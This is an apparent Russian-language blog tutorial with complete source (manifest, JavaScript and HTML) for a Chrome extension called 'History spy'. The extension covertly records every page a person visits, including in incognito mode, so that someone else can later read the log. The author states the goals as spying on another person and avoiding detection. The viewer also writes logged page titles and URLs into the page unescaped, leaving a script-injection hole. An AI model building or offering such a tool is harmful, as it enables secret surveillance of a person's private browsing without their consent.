Пишем расширение для Google Chrome - History spy

Отмазка Вступление

Иногда очень хочется "подглядеть" за кем-то, просмотрев историю посещения страниц. Но, это не всегда удаётся, ведь историю посещений можно очистить. Да и не только это - в Хроме есть "режим инкогнито", при работе в нём вообще не пишется история.

Исправим ситуацию

Решение:

1. Написать расширение, которое будет мониторить табы, записывая всяческую информацию о посещениях
2. Заставить расширение работать также и в incognito mode
3. Не спалиться :)

Что ж, приступим..

1. В любом месте создаём папку, именуем как угодно
2. Создаём manifest.json в ней. Формат - JSON. Манифест - паспорт расширения.
   Листинг:

   {
    "name": "Mr. Trololo", //имя расширения
    "version": "0.1", //версия
    "description": "History spy.", //описание
    "icons": { //иконки - не обязательно
     "48": "48.png",
     "128": "128.png"
    },
    
    "background_page": "main.html", //воркер
    "options_page": "main.html", //настройки расширения
    "permissions": [ //разрешения
     "tabs", //доступ к tabs api
     "unlimited_storage" //безлимит места под хранение данных
    ]
   }

   Почитать: спецификация по манифестам
3. Теперь займёмся нашим воркером.. Он-то и будет делать всю "грязную" работу :)
   Что требуется от воркера:
   • Повесить event listener на событие onUpdated табов
   • Обрабатывать каждый вызов события, записывая информацию о посещениях в localStorage
   • При вызове настроек расширения (у нас воркер отвечает и за это, для простоты) предоставить интерфейс для просмотра истории посещений, а также её очистки.
   
   Для начала реализуем javascript ядро воркера, которое будет подключаться из main.html
   Листинг main.js:

   /* 
     @collection
     Sorry for my bad Javascript ^_^
   */
   m = {
    key: 'history', //key for local storage
    ls: window.localStorage, //local alias
    
    /* Clear stored data */
    clearData: function() {
     m.ls.removeItem( m.key );
     m.ls.setItem( m.key, "[]" ); //initialize our var' as JSON's array
    },
    
    /* Get stored data helper */
    get: function() {
     if ( m.ls.getItem( m.key ) == null ) { //var' isn't initialized
      m.ls.setItem( m.key, "[]" );
     }
    
     /* Local storage provides only string saving. Using JSON for [un]serializing arrays */
     return JSON.parse( m.ls.getItem( m.key ) );
    },
    
    /* Set stored data helper */
    set: function( v ) {
     m.ls.setItem( 
      m.key, 
      JSON.stringify( (m.get()).concat( [v] ) ) //concat prev' and present data, JSON it
     );
    },
    
    /* Callback for event listener */
    callbackTabs: function( id, i, tab ) {
     if ( tab.status == 'complete' ) { //event fires 2 times: "loading" and "complete" states
      m.set( { //store that
       date: m.date(),
       favIcon: tab.favIconUrl || '',
       url: tab.url || '',
       title: tab.title || '',
       incognito: tab.incognito
      } );
     }
    },
    
    /* Ugly date format helper */
    date: function() {
     d = new Date();
     return '' + (
      ( d.getDate() > 9 ? d.getDate() : '0' + d.getDate() ) + ' ' + 
       ['January','February','March','April','May','June','July','August',
        'September','October','November','December'][d.getMonth()] +
       ' ' + d.getFullYear() + ', ' + 
       ( d.getHours() > 9 ? d.getHours() : '0' + d.getHours() ) + ':' + 
       ( d.getMinutes() > 9 ? d.getMinutes() : '0' + d.getMinutes() ) + ':' +
       ( d.getSeconds() > 9 ? d.getSeconds() : '0' + d.getSeconds() )
     );
    },
    
    /* $(id) getter */
    $: function( id ) {
     return document.getElementById( id );
    },
    
    /* Helper for decomposition of an URL */
    parseURL: function( url ) {
     var a =  document.createElement('a');
     a.href = url;
    
     //some extra parts are commented, we don't need 'em
     return { 
      /* source: url,
      protocol: a.protocol.replace(':',''), */
      host: a.hostname,
      /* port: a.port,
      query: a.search,
      params: (function(){
       var ret = {},
        seg = a.search.replace(/^?/,'').split('&'),
        len = seg.length, i = 0, s;
       for (;i<len;i++) {
        if (!seg[i]) { continue; }
        s = seg[i].split('=');
        ret[s[0]] = s[1];
       }
       return ret;
      })(),
      file: (a.pathname.match(//([^/?#]+)$/i) || [,''])[1],
      hash: a.hash.replace('#',''), */
      path: a.pathname.replace(/^([^/])/,'/$1')/* ,
      relative: (a.href.match(/tp://[^/]+(.+)/) || [,''])[1],
      segments: a.pathname.replace(/^//,'').split('/') */
     };
    },
    
    /* Displaying history helper. History iterator */
    displayData: function() {
     var html = ''; //dirty working with DOM
    
     (m.get()).forEach( function( v ) {
      p = m.parseURL( v.url );
    
      html += '<li><span>' + v.date + '</span> ' + ( v.incognito ? '<strong>incognito mode</strong> ' : '') 
       + '<a href="' + v.url + '"><img src="' 
        + ( v.favIcon ? v.favIcon : ('http://www.google.com/s2/favicons?domain=' + p.host) ) + '"/>' 
       + ( v.title ? v.title : ((p.host + p.path ).substr( 0, 80 )) ) + '</a></li>';
     });
    
     m.$( 'putHere' ).innerHTML = html;
    
     return false;
    }
   };
    
   /* Add a tabs listener */
   chrome.tabs.onUpdated.addListener( m.callbackTabs );

   Код отлично комментирован, как мне кажется
4. Теперь сам воркер, обычная html страница с подключением скрипта + небольшой интерфейс.
   Код:

   <script type="text/javascript" src="main.js"></script>
   <style type="text/css">
    #putHere {
     list-style-type: none;
    }
     span {
      color: #ddd;
       -webkit-transition: 1s;
     }
      span:hover {
       color: #000;
      }
    
     #putHere a, strong {
      margin-left: 20px;
      text-decoration: none;
     }
    
     img {
      margin-right: 7px;
      position: relative;
      top: 3px;
     }
   </style>
   <ul>
    <li><a href="javascript:m.displayData()">Show</a></li>
    <li><a href="javascript:( m.clearData() || m.displayData() )">Clear</a></li>
   </ul>
   <ul id="putHere"></ul>

5. Расширение, в принципе, готово :) Добавим в Хром..
   1. Ctrl+T, chrome://extensions/
   2. Включить режим разработчика
   3. "Загрузить распакованное расширение..", выбираем папку, которую создавали в самом начале
   4. Если всё прошло без ошибок, то ставим галочку "разрешить работать в автономном режиме" и радуемся. Если нет - действуйте по обстановке, Хром скажет в чём и где ошибка расширения.

Ну а теперь самое время проверить, работает ли действительно :) Походите по страницам, запустите режим инкогнито - тоже "посёрфите" немного.. Надоело? Тогда идём на страницу с расширениями, и открываем настройки нашего свеженаписанного :) Ссылка "Show" может заставить кого-то покраснеть однажды..

P.S. Страница расширения на Google Chrome Extensions